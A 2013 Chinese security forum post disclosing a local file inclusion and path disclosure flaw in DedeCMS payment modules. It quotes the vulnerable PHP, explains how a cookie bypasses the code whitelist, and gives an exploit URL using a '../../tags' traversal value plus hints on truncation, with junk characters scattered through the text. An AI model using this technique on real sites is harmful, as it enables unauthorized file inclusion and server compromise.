找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2205|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)" n2 E/ k- q( Y! K9 q1 X' z5 F5 ?

. y+ a5 x/ ]) B* ?' W出现漏洞的两个文件为:
1 c" a0 s$ z; L/ sInclude/payment/alipay.php
/ R/ f) Q9 V9 w/ VInclude/payment/yeepay.php* a5 C6 O# a) Q% Z8 ^/ x
漏洞均出现在respond方法里,估计这两个文件是临时工写的。, q% \+ t2 |2 u- a+ d* G
: S3 |1 z9 ~5 \2 A) G
Include/payment/alipay.php
4 N, q7 Y) n3 a) z; M% v6 U  T, E) I& l( [( [
......
5 A3 T" A! D8 ]' q$ u. y   function respond()& m0 F: |$ F- n: C
    {3 }. t/ {: f  q2 Q, i# Y
        if (!empty($_POST))" f: ?  B$ K  S7 N: f/ v/ g
        {
: v- ^: b. G1 p+ _6 ^            foreach($_POST as $key => $data)
; m, K: E/ g0 ~8 k7 q+ U0 P            {
# W/ E7 }/ V4 }# q; [                $_GET[$key] = $data;' x% z1 S0 s# N9 s. O: _4 \* X7 p* K
            }; f3 C# I4 y7 d( V3 k7 X; ]! |
        }
* V2 J/ ~& A2 g9 u; F$ V1 P        /* 引入配置文件 */. O# J0 S. U* I+ n  p( _
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
. S8 \1 h9 n/ e- R6 z9 _...... 4 j/ M. |5 l+ F
, ^/ t( R' x) ]* h& B" M

  L' x, G$ H* |/ N: O0 t大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
  }+ G! G7 Z) Q7 u+ E( H! Q$ r. _1 a6 d( E0 K
Include/payment/yeepay.php
& |! u( ?* ?1 x7 I* [) j' w& u: E$ z/ A: [  r
8 V& f; W0 n8 k4 u6 h* Y

( o4 g; c: z, k' O  O......
, ^* m( V. E5 M6 ]: d5 q  ]- A    function respond()% {5 r1 I, P0 w/ ^2 O
    {  f" L8 ^9 Y; R. ?9 `

1 k% ^. H3 Z) s        /* 引入配置文件 */4 f1 y) t/ Q* q' Q  O
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
" d& W& D& @5 V) p7 `. a% m& r6 h
* K6 E) C) J3 g! O; p        $p1_MerId = trim($payment['yp_account']);2 M1 N# B$ y- G! o& F. u# y, @8 P+ C
        $merchantKey = trim($payment['yp_key']);) s$ _- e6 v8 c/ d- R  E- {
...... . a8 W/ N4 Y( `1 A

' S: V; {2 Y2 r# t1 d  ^( q1 s  g
  x' X0 ^8 a7 ~: g8 r2 ?
8 \# p' e) b7 A3 o3 o
) W8 D; R2 g/ ~0 L' Y大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
, ]& T4 g6 m7 E# s' R
& y& }$ S6 a3 T+ s2 o* D0 d+ H这两个方法在plus/carbuyaction.php文件调用。
3 H+ \! \! w' }/ p: {# k" [2 u' Y2 v4 O( u+ k( ?4 A
plus/carbuyaction.php
0 v' a4 S9 f1 n1 n6 @
4 d/ D6 p* G! v# K" L......
8 ~6 `. k5 {2 p' O6 H) [} else if ($dopost == 'return') {
. o5 ^( T- p( n4 s% E! z    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
7 v; g) h' @# \    if (in_array($code, $write_list))( D& H/ x( @* u# W  g! Q! }  i. [
    {
5 K) w1 O) c# w) `, t# U3 l        require_once DEDEINC.'/payment/'.$code.'.php';8 Q( s5 H; Y4 z
        $pay = new $code;
0 F" a& J% J9 }" f9 D        $msg=$pay->respond();3 Q, C! P& F. x
        ShowMsg($msg, "javascript:;", 0, 3000);6 i, z5 k4 `7 L
        exit();  3 P* Q8 S8 D- Z* c. B
    } else {
  T( O# x# }% }% V+ F  Y% s: f9 ]        exit('Error:File Type Can\'t Recognized!');0 F' n) ~" F* X' r/ [
    }
' Y) h4 q  O: C- o* U8 @}' R8 }* x( G) n9 N+ ?7 K% y7 E
...... ' b) r% N4 d* d  R4 ]* O3 @

; d: w4 ]! n. M& G
: d5 |) J$ F( m" \
: @; E0 T" H1 G  q4 `2 f! U" G* m2 m4 p2 Y) N0 A1 M

0 P! |, d( J& q8 v, ^1 t, V# s5 c% {' a, x2 b0 D( L6 h
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。2 e, W4 d; O2 s* P) c% H( ]
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。; h8 w( R. Z* J
8 V  {# C0 |. }' N  }
回到include/common.inc.php来看看他的机制。. A! h: L+ W) v/ s) ~- Y

+ t9 z+ R0 x2 Q; R/ G: j 5 L1 ~0 ^9 X& ~4 }. J& b

3 K6 L5 W$ H8 c......
8 a8 j; `7 t; T& \7 F! M  yforeach(Array('_GET','_POST','_COOKIE') as $_request)8 b" g1 w. _% R9 M5 i$ |( ^  L
{
' a% _  u9 W) h  E$ j/ y        foreach($$_request as $_k => $_v) 7 y. z, k* q) x6 c, y9 Q6 u% }% M
        {
# u9 O2 V  L" c: E                if($_k == 'nvarname') ${$_k} = $_v;
8 I* P' ?: G+ w                else ${$_k} = _RunMagicQuotes($_v);
- M) l; H$ \' J, D. W" R        }
* O2 p- H  O. h3 V- e/ X4 m* Y}
$ [5 z7 j* s9 {5 h......
5 X% f( v5 C) k) i) l+ b! L大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:0 U* ]% w* O' Y* n6 _8 d; U
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表